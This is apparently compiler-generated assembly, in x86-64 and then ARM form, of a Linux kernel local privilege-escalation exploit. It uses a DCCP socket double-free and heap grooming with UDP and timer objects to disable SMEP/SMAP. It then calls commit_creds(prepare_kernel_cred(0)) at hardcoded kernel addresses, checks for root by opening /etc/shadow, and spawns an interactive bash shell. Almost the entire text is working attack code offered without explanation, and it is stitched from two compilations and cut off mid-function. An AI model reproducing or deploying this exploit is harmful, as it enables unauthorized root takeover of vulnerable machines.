	.cfi_endproc
.LFE27:
	.size	udp_kmalloc_warm, .-udp_kmalloc_warm
	.globl	kmalloc_warm
	.type	kmalloc_warm, @function
kmalloc_warm:
.LFB28:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	eax, 0
	call	udp_kmalloc_warm
	nop
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE28:
	.size	kmalloc_warm, .-kmalloc_warm
	.section	.rodata
.LC18:
	.string	"[.] scheduling %p(%p)\n"
.LC19:
	.string	"kmalloc pad"
.LC20:
	.string	"kmalloc warm"
.LC21:
	.string	"dccp init"
.LC22:
	.string	"dccp kmalloc kfree"
.LC23:
	.string	"catch 1"
.LC24:
	.string	"dccp kfree again"
.LC25:
	.string	"catch 2"
.LC26:
	.string	"catch 1 -> timer"
.LC27:
	.string	"catch 1 small"
.LC28:
	.string	"schedule timers"
.LC29:
	.string	"catch 2 -> overwrite timers"
.LC30:
	.string	"catch 2 small"
	.align 8
.LC31:
	.string	"[.] waiting for the timer to execute"
.LC32:
	.string	"wait"
.LC33:
	.string	"[.] done"
	.text
	.globl	kernel_exec_irq
	.type	kernel_exec_irq, @function
kernel_exec_irq:
.LFB29:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 4096
	or	QWORD PTR [rsp], 0
	sub	rsp, 160
	mov	QWORD PTR -4248[rbp], rdi
	mov	QWORD PTR -4256[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rdx, QWORD PTR -4256[rbp]
	mov	rax, QWORD PTR -4248[rbp]
	mov	rsi, rax
	lea	rdi, .LC18[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rax, -4112[rbp]
	mov	edx, 2048
	mov	esi, 195
	mov	rdi, rax
	call	memset@PLT
	mov	rdx, QWORD PTR -4256[rbp]
	mov	rcx, QWORD PTR -4248[rbp]
	lea	rax, -2064[rbp]
	mov	rsi, rcx
	mov	rdi, rax
	call	init_timer_buffer
	lea	rax, -4224[rbp]
	mov	rdi, rax
	call	udp_fifo_init
	lea	rax, -4216[rbp]
	mov	rdi, rax
	call	udp_fifo_init
	lea	rax, -4208[rbp]
	mov	rdi, rax
	call	udp_fifo_init
	lea	rax, -4200[rbp]
	mov	rdi, rax
	call	udp_fifo_init
	lea	rdi, .LC19[rip]
	call	debug
	mov	eax, 0
	call	kmalloc_pad
	lea	rdi, .LC20[rip]
	call	debug
	mov	eax, 0
	call	kmalloc_warm
	lea	rdi, .LC21[rip]
	call	debug
	mov	eax, DWORD PTR port[rip]
	lea	edx, 1[rax]
	mov	DWORD PTR port[rip], edx
	lea	rdx, -4160[rbp]
	mov	esi, eax
	mov	rdi, rdx
	call	dccp_init
	lea	rdi, .LC22[rip]
	call	debug
	lea	rax, -4160[rbp]
	mov	rdi, rax
	call	dccp_kmalloc_kfree
	lea	rdi, .LC23[rip]
	call	debug
	mov	DWORD PTR -4228[rbp], 0
	jmp	.L82
.L83:
	lea	rdx, -4112[rbp]
	lea	rax, -4224[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	udp_fifo_kmalloc
	add	DWORD PTR -4228[rbp], 1
.L82:
	cmp	DWORD PTR -4228[rbp], 5
	jle	.L83
	lea	rdi, .LC24[rip]
	call	debug
	lea	rax, -4160[rbp]
	mov	rdi, rax
	call	dccp_kfree_again
	lea	rdi, .LC25[rip]
	call	debug
	mov	DWORD PTR -4228[rbp], 0
	jmp	.L84
.L85:
	lea	rdx, -4112[rbp]
	lea	rax, -4216[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	udp_fifo_kmalloc
	add	DWORD PTR -4228[rbp], 1
.L84:
	cmp	DWORD PTR -4228[rbp], 5
	jle	.L85
	lea	rdi, .LC26[rip]
	call	debug
	mov	DWORD PTR -4228[rbp], 0
	jmp	.L86
.L87:
	lea	rax, -4224[rbp]
	mov	rdi, rax
	call	udp_fifo_kfree
	mov	eax, 0
	call	timer_kmalloc
	mov	edx, DWORD PTR -4228[rbp]
	movsx	rdx, edx
	mov	DWORD PTR -4192[rbp+rdx*4], eax
	add	DWORD PTR -4228[rbp], 1
.L86:
	cmp	DWORD PTR -4228[rbp], 5
	jle	.L87
	lea	rdi, .LC27[rip]
	call	debug
	mov	DWORD PTR -4228[rbp], 0
	jmp	.L88
.L89:
	lea	rax, -4200[rbp]
	mov	rdi, rax
	call	udp_fifo_kmalloc_small
	add	DWORD PTR -4228[rbp], 1
.L88:
	cmp	DWORD PTR -4228[rbp], 63
	jle	.L89
	lea	rdi, .LC28[rip]
	call	debug
	mov	DWORD PTR -4228[rbp], 0
	jmp	.L90
.L91:
	mov	eax, DWORD PTR -4228[rbp]
	cdqe
	mov	eax, DWORD PTR -4192[rbp+rax*4]
	mov	esi, 500
	mov	edi, eax
	call	timer_schedule
	add	DWORD PTR -4228[rbp], 1
.L90:
	cmp	DWORD PTR -4228[rbp], 5
	jle	.L91
	lea	rdi, .LC29[rip]
	call	debug
	mov	DWORD PTR -4228[rbp], 0
	jmp	.L92
.L93:
	lea	rax, -4216[rbp]
	mov	rdi, rax
	call	udp_fifo_kfree
	lea	rdx, -2064[rbp]
	lea	rax, -4208[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	udp_fifo_kmalloc
	add	DWORD PTR -4228[rbp], 1
.L92:
	cmp	DWORD PTR -4228[rbp], 5
	jle	.L93
	lea	rdi, .LC30[rip]
	call	debug
	mov	DWORD PTR -4228[rbp], 0
	jmp	.L94
.L95:
	lea	rax, -4200[rbp]
	mov	rdi, rax
	call	udp_fifo_kmalloc_small
	add	DWORD PTR -4228[rbp], 1
.L94:
	cmp	DWORD PTR -4228[rbp], 63
	jle	.L95
	lea	rdi, .LC31[rip]
	call	puts@PLT
	lea	rdi, .LC32[rip]
	call	debug
	mov	edi, 1
	call	sleep@PLT
	lea	rdi, .LC33[rip]
	call	puts@PLT
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L96
	call	__stack_chk_fail@PLT
.L96:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE29:
	.size	kernel_exec_irq, .-kernel_exec_irq
	.section	.rodata
.LC34:
	.string	"[.] disabling SMEP & SMAP"
	.align 8
.LC35:
	.string	"[.] SMEP & SMAP should be off now"
	.text
	.globl	disable_smep_smap
	.type	disable_smep_smap, @function
disable_smep_smap:
.LFB30:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	lea	rdi, .LC34[rip]
	call	puts@PLT
	mov	esi, 263904
	mov	rdi, -2130295472
	call	kernel_exec_irq
	lea	rdi, .LC35[rip]
	call	puts@PLT
	nop
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE30:
	.size	disable_smep_smap, .-disable_smep_smap
	.section	.rodata
.LC36:
	.string	"[.] executing %p\n"
.LC37:
	.string	"dccp kfree again:"
.LC38:
	.string	"catch 1 -> overwrite"
.LC39:
	.string	"catch 2 -> free & trigger"
.LC40:
	.string	"catch 1 & 2"
	.text
	.globl	kernel_exec
	.type	kernel_exec, @function
kernel_exec:
.LFB31:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 4096
	or	QWORD PTR [rsp], 0
	sub	rsp, 112
	mov	QWORD PTR -4200[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR -4200[rbp]
	mov	rsi, rax
	lea	rdi, .LC36[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rax, -4112[rbp]
	mov	edx, 2048
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	rdx, QWORD PTR -4200[rbp]
	lea	rax, -2064[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	init_skb_buffer
	lea	rax, -4184[rbp]
	mov	rdi, rax
	call	udp_fifo_init
	lea	rax, -4176[rbp]
	mov	rdi, rax
	call	udp_fifo_init
	lea	rax, -4168[rbp]
	mov	rdi, rax
	call	udp_fifo_init
	lea	rdi, .LC19[rip]
	call	debug
	mov	eax, 0
	call	kmalloc_pad
	lea	rdi, .LC20[rip]
	call	debug
	mov	eax, 0
	call	kmalloc_warm
	lea	rdi, .LC21[rip]
	call	debug
	mov	eax, DWORD PTR port[rip]
	lea	edx, 1[rax]
	mov	DWORD PTR port[rip], edx
	lea	rdx, -4160[rbp]
	mov	esi, eax
	mov	rdi, rdx
	call	dccp_init
	lea	rdi, .LC22[rip]
	call	debug
	lea	rax, -4160[rbp]
	mov	rdi, rax
	call	dccp_kmalloc_kfree
	lea	rdi, .LC23[rip]
	call	debug
	mov	DWORD PTR -4188[rbp], 0
	jmp	.L99
.L100:
	lea	rdx, -4112[rbp]
	lea	rax, -4184[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	udp_fifo_kmalloc
	add	DWORD PTR -4188[rbp], 1
.L99:
	cmp	DWORD PTR -4188[rbp], 5
	jle	.L100
	lea	rdi, .LC37[rip]
	call	debug
	lea	rax, -4160[rbp]
	mov	rdi, rax
	call	dccp_kfree_again
	lea	rdi, .LC25[rip]
	call	debug
	mov	DWORD PTR -4188[rbp], 0
	jmp	.L101
.L102:
	lea	rdx, -4112[rbp]
	lea	rax, -4176[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	udp_fifo_kmalloc
	add	DWORD PTR -4188[rbp], 1
.L101:
	cmp	DWORD PTR -4188[rbp], 5
	jle	.L102
	lea	rdi, .LC38[rip]
	call	debug
	mov	DWORD PTR -4188[rbp], 0
	jmp	.L103
.L104:
	lea	rax, -4184[rbp]
	mov	rdi, rax
	call	udp_fifo_kfree
	mov	eax, DWORD PTR port[rip]
	lea	edx, 1[rax]
	mov	DWORD PTR port[rip], edx
	lea	rdx, -2064[rbp]
	mov	rsi, rdx
	mov	edi, eax
	call	sendmmsg_kmalloc_kfree
	add	DWORD PTR -4188[rbp], 1
.L103:
	cmp	DWORD PTR -4188[rbp], 5
	jle	.L104
	lea	rdi, .LC39[rip]
	call	debug
	mov	DWORD PTR -4188[rbp], 0
	jmp	.L105
.L106:
	lea	rax, -4176[rbp]
	mov	rdi, rax
	call	udp_fifo_kfree
	add	DWORD PTR -4188[rbp], 1
.L105:
	cmp	DWORD PTR -4188[rbp], 5
	jle	.L106
	lea	rdi, .LC40[rip]
	call	debug
	mov	DWORD PTR -4188[rbp], 0
	jmp	.L107
.L108:
	lea	rdx, -4112[rbp]
	lea	rax, -4168[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	udp_fifo_kmalloc
	add	DWORD PTR -4188[rbp], 1
.L107:
	cmp	DWORD PTR -4188[rbp], 15
	jle	.L108
	lea	rdi, .LC33[rip]
	call	puts@PLT
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L109
	call	__stack_chk_fail@PLT
.L109:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE31:
	.size	kernel_exec, .-kernel_exec
	.globl	commit_creds
	.data
	.align 8
	.type	commit_creds, @object
	.size	commit_creds, 8
commit_creds:
	.quad	-2130040768
	.globl	prepare_kernel_cred
	.align 8
	.type	prepare_kernel_cred, @object
	.size	prepare_kernel_cred, 8
prepare_kernel_cred:
	.quad	-2130039760
	.text
	.globl	get_root_payload
	.type	get_root_payload, @function
get_root_payload:
.LFB32:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	rbx
	sub	rsp, 8
	.cfi_offset 3, -24
	mov	rbx, QWORD PTR commit_creds[rip]
	mov	rax, QWORD PTR prepare_kernel_cred[rip]
	mov	edi, 0
	call	rax
	mov	rdi, rax
	call	rbx
	nop
	mov	rbx, QWORD PTR -8[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE32:
	.size	get_root_payload, .-get_root_payload
	.section	.rodata
.LC41:
	.string	"[.] getting root"
.LC42:
	.string	"[.] should be root now"
	.text
	.globl	get_root
	.type	get_root, @function
get_root:
.LFB33:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	lea	rdi, .LC41[rip]
	call	puts@PLT
	lea	rdi, get_root_payload[rip]
	call	kernel_exec
	lea	rdi, .LC42[rip]
	call	puts@PLT
	nop
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE33:
	.size	get_root, .-get_root
	.section	.rodata
.LC43:
	.string	"/bin/bash"
.LC44:
	.string	"-i"
	.text
	.globl	exec_shell
	.type	exec_shell, @function
exec_shell:
.LFB34:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rax, .LC43[rip]
	mov	QWORD PTR -40[rbp], rax
	mov	rax, QWORD PTR -40[rbp]
	mov	QWORD PTR -32[rbp], rax
	lea	rax, .LC44[rip]
	mov	QWORD PTR -24[rbp], rax
	mov	QWORD PTR -16[rbp], 0
	lea	rcx, -32[rbp]
	mov	rax, QWORD PTR -40[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	rdi, rax
	call	execve@PLT
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L113
	call	__stack_chk_fail@PLT
.L113:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE34:
	.size	exec_shell, .-exec_shell
	.section	.rodata
.LC45:
	.string	"fork()"
	.text
	.globl	fork_shell
	.type	fork_shell, @function
fork_shell:
.LFB35:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	call	fork@PLT
	mov	DWORD PTR -4[rbp], eax
	cmp	DWORD PTR -4[rbp], -1
	jne	.L115
	lea	rdi, .LC45[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L115:
	cmp	DWORD PTR -4[rbp], 0
	jne	.L117
	mov	eax, 0
	call	exec_shell
.L117:
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE35:
	.size	fork_shell, .-fork_shell
	.section	.rodata
.LC46:
	.string	"/etc/shadow"
	.text
	.globl	is_root
	.type	is_root, @function
is_root:
.LFB36:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	esi, 0
	lea	rdi, .LC46[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -4[rbp], eax
	cmp	DWORD PTR -4[rbp], -1
	jne	.L119
	mov	eax, 0
	jmp	.L120
.L119:
	mov	eax, DWORD PTR -4[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, 1
.L120:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE36:
	.size	is_root, .-is_root
	.section	.rodata
.LC47:
	.string	"[.] checking if we got root"
.LC48:
	.string	"[-] something went wrong =("
	.align 8
.LC49:
	.string	"[!] don't kill the exploit binary, the kernel will crash"
.LC50:
	.string	"[+] got r00t ^_^"
	.text
	.globl	check_root
	.type	check_root, @function
check_root:
.LFB37:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	lea	rdi, .LC47[rip]
	call	puts@PLT
	mov	eax, 0
	call	is_root
	xor	eax, 1
	test	al, al
	je	.L122
	lea	rdi, .LC48[rip]
	call	puts@PLT
	lea	rdi, .LC49[rip]
	call	puts@PLT
	jmp	.L121
.L122:
	lea	rdi, .LC50[rip]
	call	puts@PLT
	lea	rdi, .LC49[rip]
	call	puts@PLT
	mov	eax, 0
	call	fork_shell
.L121:
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE37:
	.size	check_root, .-check_root
	.type	write_file, @function
write_file:
.LFB38:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 1264
	mov	QWORD PTR -1256[rbp], rdi
	mov	QWORD PTR -1264[rbp], rsi
	mov	QWORD PTR -160[rbp], rdx
	mov	QWORD PTR -152[rbp], rcx
	mov	QWORD PTR -144[rbp], r8
	mov	QWORD PTR -136[rbp], r9
	test	al, al
	je	.L125
	movaps	XMMWORD PTR -128[rbp], xmm0
	movaps	XMMWORD PTR -112[rbp], xmm1
	movaps	XMMWORD PTR -96[rbp], xmm2
	movaps	XMMWORD PTR -80[rbp], xmm3
	movaps	XMMWORD PTR -64[rbp], xmm4
	movaps	XMMWORD PTR -48[rbp], xmm5
	movaps	XMMWORD PTR -32[rbp], xmm6
	movaps	XMMWORD PTR -16[rbp], xmm7
.L125:
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -184[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -1240[rbp], 16
	mov	DWORD PTR -1236[rbp], 48
	lea	rax, 16[rbp]
	mov	QWORD PTR -1232[rbp], rax
	lea	rax, -176[rbp]
	mov	QWORD PTR -1224[rbp], rax
	lea	rcx, -1240[rbp]
	mov	rdx, QWORD PTR -1264[rbp]
	lea	rax, -1216[rbp]
	mov	esi, 1024
	mov	rdi, rax
	call	vsnprintf@PLT
	mov	BYTE PTR -193[rbp], 0
	lea	rax, -1216[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	DWORD PTR -1248[rbp], eax
	mov	rax, QWORD PTR -1256[rbp]
	mov	esi, 524289
	mov	rdi, rax
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -1244[rbp], eax
	cmp	DWORD PTR -1244[rbp], -1
	jne	.L126
	mov	eax, 0
	jmp	.L129
.L126:
	mov	eax, DWORD PTR -1248[rbp]
	movsx	rdx, eax
	lea	rcx, -1216[rbp]
	mov	eax, DWORD PTR -1244[rbp]
	mov	rsi, rcx
	mov	edi, eax
	call	write@PLT
	mov	edx, DWORD PTR -1248[rbp]
	movsx	rdx, edx
	cmp	rax, rdx
	je	.L128
	mov	eax, DWORD PTR -1244[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, 0
	jmp	.L129
.L128:
	mov	eax, DWORD PTR -1244[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, 1
.L129:
	mov	rsi, QWORD PTR -184[rbp]
	sub	rsi, QWORD PTR fs:40
	je	.L130
	call	__stack_chk_fail@PLT
.L130:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE38:
	.size	write_file, .-write_file
	.section	.rodata
.LC51:
	.string	"unshare(CLONE_NEWUSER)"
.LC52:
	.string	"deny"
.LC53:
	.string	"/proc/self/setgroups"
	.align 8
.LC54:
	.string	"write_file(/proc/self/set_groups)"
.LC55:
	.string	"0 %d 1\n"
.LC56:
	.string	"/proc/self/uid_map"
	.align 8
.LC57:
	.string	"write_file(/proc/self/uid_map)"
.LC58:
	.string	"/proc/self/gid_map"
	.align 8
.LC59:
	.string	"write_file(/proc/self/gid_map)"
.LC60:
	.string	"sched_setaffinity()"
.LC61:
	.string	"/sbin/ifconfig lo up"
.LC62:
	.string	"system(/sbin/ifconfig lo up)"
	.align 8
.LC63:
	.string	"[.] namespace sandbox setup successfully"
	.text
	.globl	setup_sandbox
	.type	setup_sandbox, @function
setup_sandbox:
.LFB39:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 160
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	call	getuid@PLT
	mov	DWORD PTR -160[rbp], eax
	call	getgid@PLT
	mov	DWORD PTR -156[rbp], eax
	mov	edi, 268435456
	call	unshare@PLT
	test	eax, eax
	je	.L132
	lea	rdi, .LC51[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L132:
	mov	edi, 1073741824
	call	unshare@PLT
	test	eax, eax
	je	.L133
	lea	rdi, .LC51[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L133:
	lea	rsi, .LC52[rip]
	lea	rdi, .LC53[rip]
	mov	eax, 0
	call	write_file
	xor	eax, 1
	test	al, al
	je	.L134
	lea	rdi, .LC54[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L134:
	mov	eax, DWORD PTR -160[rbp]
	mov	edx, eax
	lea	rsi, .LC55[rip]
	lea	rdi, .LC56[rip]
	mov	eax, 0
	call	write_file
	xor	eax, 1
	test	al, al
	je	.L135
	lea	rdi, .LC57[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L135:
	mov	eax, DWORD PTR -156[rbp]
	mov	edx, eax
	lea	rsi, .LC55[rip]
	lea	rdi, .LC58[rip]
	mov	eax, 0
	call	write_file
	xor	eax, 1
	test	al, al
	je	.L136
	lea	rdi, .LC59[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L136:
	lea	rax, -144[rbp]
	mov	rsi, rax
	mov	eax, 0
	mov	edx, 16
	mov	rdi, rsi
	mov	rcx, rdx
	rep stosq
	mov	QWORD PTR -152[rbp], 0
	cmp	QWORD PTR -152[rbp], 1023
	ja	.L138
	mov	rax, QWORD PTR -152[rbp]
	shr	rax, 6
	lea	rdx, 0[0+rax*8]
	lea	rcx, -144[rbp]
	add	rdx, rcx
	mov	rsi, QWORD PTR [rdx]
	mov	rdx, QWORD PTR -152[rbp]
	and	edx, 63
	mov	edi, 1
	mov	ecx, edx
	sal	rdi, cl
	mov	rdx, rdi
	lea	rcx, 0[0+rax*8]
	lea	rax, -144[rbp]
	add	rax, rcx
	or	rdx, rsi
	mov	QWORD PTR [rax], rdx
.L138:
	lea	rax, -144[rbp]
	mov	rdx, rax
	mov	esi, 128
	mov	edi, 0
	call	sched_setaffinity@PLT
	test	eax, eax
	je	.L139
	lea	rdi, .LC60[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L139:
	lea	rdi, .LC61[rip]
	call	system@PLT
	test	eax, eax
	je	.L140
	lea	rdi, .LC62[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L140:
	lea	rdi, .LC63[rip]
	call	puts@PLT
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L141
	call	__stack_chk_fail@PLT
.L141:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE39:
	.size	setup_sandbox, .-setup_sandbox
	.globl	main
	.type	main, @function
main:
.LFB40:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	eax, 0
	call	setup_sandbox
	mov	eax, 0
	call	disable_smep_smap
	mov	eax, 0
	call	get_root
	mov	eax, 0
	call	check_root
.L143:
	mov	edi, 100
	call	sleep@PLT
	jmp	.L143
	.cfi_endproc
.LFE40:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"775451.c"
	.text
	.data
	.align	2
	.type	port, %object
	.size	port, 4
port:
	.word	11000
	.text
	.align	2
	.global	debug
	.syntax unified
	.arm
	.fpu softvfp
	.type	debug, %function
debug:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	@ link register save eliminated.
	str	fp, [sp, #-4]!
	add	fp, sp, #0
	sub	sp, sp, #12
	str	r0, [fp, #-8]
	nop
	add	sp, fp, #0
	@ sp needed
	ldr	fp, [sp], #4
	bx	lr
	.size	debug, .-debug
	.comm	ui,24,8
	.align	2
	.global	init_skb_buffer
	.syntax unified
	.arm
	.fpu softvfp
	.type	init_skb_buffer, %function
init_skb_buffer:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	mov	r2, #2048
	mov	r1, #0
	ldr	r0, [fp, #-16]
	bl	memset
	ldr	r3, [fp, #-16]
	add	r3, r3, #1728
	str	r3, [fp, #-8]
	ldr	r3, [fp, #-8]
	mvn	r2, #0
	strb	r2, [r3, #1]
	ldr	r3, .L3
	mov	r2, r3
	asr	r3, r2, #31
	ldr	r1, [fp, #-8]
	str	r2, [r1, #40]
	str	r3, [r1, #44]
	ldr	r3, [fp, #-8]
	mov	r2, #0
	strb	r2, [r3]
	ldr	r1, [fp, #-8]
	mov	r2, #0
	mov	r3, #0
	str	r2, [r1, #8]
	str	r3, [r1, #12]
	ldr	r3, [fp, #-20]
	mov	r2, r3
	mov	r3, #0
	ldr	r1, .L3
	stm	r1, {r2-r3}
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L4:
	.align	2
.L3:
	.word	ui
	.size	init_skb_buffer, .-init_skb_buffer
	.align	2
	.global	init_timer_buffer
	.syntax unified
	.arm
	.fpu softvfp
	.type	init_timer_buffer, %function
init_timer_buffer:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	str	r2, [fp, #-24]
	mov	r2, #2048
	mov	r1, #0
	ldr	r0, [fp, #-16]
	bl	memset
	ldr	r3, [fp, #-16]
	add	r3, r3, #880
	str	r3, [fp, #-8]
	ldr	r3, [fp, #-8]
	mov	r2, #0
	str	r2, [r3]
	ldr	r3, [fp, #-8]
	mov	r2, #0
	str	r2, [r3, #4]
	ldr	r3, [fp, #-8]
	ldr	r2, .L6
	str	r2, [r3, #8]
	ldr	r2, [fp, #-20]
	ldr	r3, [fp, #-8]
	str	r2, [r3, #12]
	ldr	r3, [fp, #-8]
	ldr	r2, [fp, #-24]
	str	r2, [r3, #16]
	ldr	r3, [fp, #-8]
	mov	r2, #1
	str	r2, [r3, #20]
	ldr	r3, [fp, #-8]
	mvn	r2, #0
	str	r2, [r3, #24]
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L7:
	.align	2
.L6:
	.word	-23936
	.size	init_timer_buffer, .-init_timer_buffer
	.section	.rodata
	.align	2
.LC0:
	.ascii	"::1\000"
	.align	2
.LC1:
	.ascii	"socket(SOCK_DCCP)\000"
	.align	2
.LC2:
	.ascii	"bind()\000"
	.align	2
.LC3:
	.ascii	"listen()\000"
	.align	2
.LC4:
	.ascii	"setsockopt(IPV6_RECVPKTINFO)\000"
	.align	2
.LC5:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	dccp_init
	.syntax unified
	.arm
	.fpu softvfp
	.type	dccp_init, %function
dccp_init:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #32
	str	r0, [fp, #-24]
	str	r1, [fp, #-28]
	ldr	r3, .L16
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-24]
	mov	r2, #10
	strh	r2, [r3]	@ movhi
	ldr	r3, [fp, #-28]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-24]
	strh	r2, [r3, #2]	@ movhi
	ldr	r3, [fp, #-24]
	add	r3, r3, #8
	mov	r2, r3
	ldr	r1, .L16+4
	mov	r0, #10
	bl	inet_pton
	ldr	r3, [fp, #-24]
	mov	r2, #0
	str	r2, [r3, #4]
	ldr	r3, [fp, #-24]
	mov	r2, #0
	str	r2, [r3, #24]
	mov	r2, #0
	mov	r1, #6
	mov	r0, #10
	bl	socket
	mov	r2, r0
	ldr	r3, [fp, #-24]
	str	r2, [r3, #28]
	ldr	r3, [fp, #-24]
	ldr	r3, [r3, #28]
	cmn	r3, #1
	bne	.L9
	ldr	r0, .L16+8
	bl	perror
	mov	r0, #1
	bl	exit
.L9:
	ldr	r3, [fp, #-24]
	ldr	r3, [r3, #28]
	ldr	r2, [fp, #-24]
